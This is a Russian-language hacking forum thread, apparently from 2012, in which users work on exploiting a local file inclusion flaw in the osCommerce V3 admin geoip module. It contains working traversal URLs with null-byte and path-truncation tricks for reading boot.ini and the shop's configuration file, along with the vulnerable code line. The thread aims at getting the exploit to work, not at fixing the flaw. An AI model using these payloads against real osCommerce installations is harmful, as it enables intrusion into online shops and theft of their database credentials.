OSCommerce V3 LFI

10.06.2012, 05:57

Pirotexnik

Постоянный

Регистрация: 13.10.2010

Сообщений: 375

С нами: 8200406

Репутация: 38

Нашел LFI, но незнаю как реализовать...

http://localhost/oscommerce/admin/includes/applications/modules_geoip/pages/edit.php?module=../../../../../../../../../../../../../../../../../boot.ini%00

Все бы хорошо, но помимо include() эта переменная используется еще где-то:

Код:

Fatal error: Call to a member function loadIniFile() on a non-object in C:\web\htdocs\oscommerce\admin\includes\applications\modules_geoip\pages\edit.php on line 18

Код:

18: $osC_Language->loadIniFile('modules/geoip/' . $_GET['module'] . '.php');

Помогите

𝕏 Twitter Reddit Telegram Копировать ссылку

15.06.2012, 05:00

pharm_all

Познающий

Регистрация: 10.09.2009

Сообщений: 40

С нами: 8772921

Репутация: 1

Цитата:

Сообщение от Pirotexnik

Нашел LFI, но незнаю как реализовать...
http://localhost/oscommerce/admin/includes/applications/modules_geoip/pages/edit.php?module=../../../../../../../../../../../../../../../../../boot.ini%00
Все бы хорошо, но помимо
include()
эта переменная используется еще где-то:

Код:

Fatal error: Call to a member function loadIniFile() on a non-object in C:\web\htdocs\oscommerce\admin\includes\applications\modules_geoip\pages\edit.php on line 18

Код:

18: $osC_Language->loadIniFile('modules/geoip/' . $_GET['module'] . '.php');

Помогите

http://localhost/oscommerce/admin/includes/applications/modules_geoip/pages/edit.php?module=../../../../../../../../../../../../../C:/web/htdocs/oscommerce/includes/conf не помню название конфига.php%00

Проинклудь конфиг, поиграйся.

15.06.2012, 06:20

Tigger

Познавший АНТИЧАТ

Регистрация: 27.08.2007

Сообщений: 1,107

С нами: 9846041

Репутация: 1177

Pirotexnik

Шляпу экстрасенса, увы, потерял, поэтому требую код ф-ции loadIniFile =\

И строку с инклюдом данной переменной тоже неплохо бы увидеть.

pharm_all

Что-что, простите? Каким образом он проинклюдит (и как это поможет!?) если у него не работает инклюд?

15.06.2012, 07:19

Tigger

Познавший АНТИЧАТ

Регистрация: 27.08.2007

Сообщений: 1,107

С нами: 9846041

Репутация: 1177

Что я делаю не так?

Цитата:

Сообщение от None

Все бы хорошо, но помимо include() эта переменная используется еще где-то:

Посмотрел кодес. Интересно, причем тут это вообще? Инклюд идет в первой строчке скрипта. Причем тут вообще то, что вызывается далее?

16.06.2012, 17:26

Pirotexnik

Постоянный

Регистрация: 13.10.2010

Сообщений: 375

С нами: 8200406

Репутация: 38

Да, затупил я...

Теперь вопрос по поводу .php

http://localhost/oscommerce/admin/includes/applications/modules_geoip/pages/edit.php?module=../../../../../../lfi - GOOD

http://localhost/oscommerce/admin/includes/applications/modules_geoip/pages/edit.php?module=../../../../../../lfi.php%00 - BAD

http://localhost/oscommerce/admin/includes/applications/modules_geoip/pages/edit.php?module=../../../../../../lfi.gif%00 - BAD

./[4096] - тоже не спасли. Это у меня на локалхосте косяк?)

Как быть?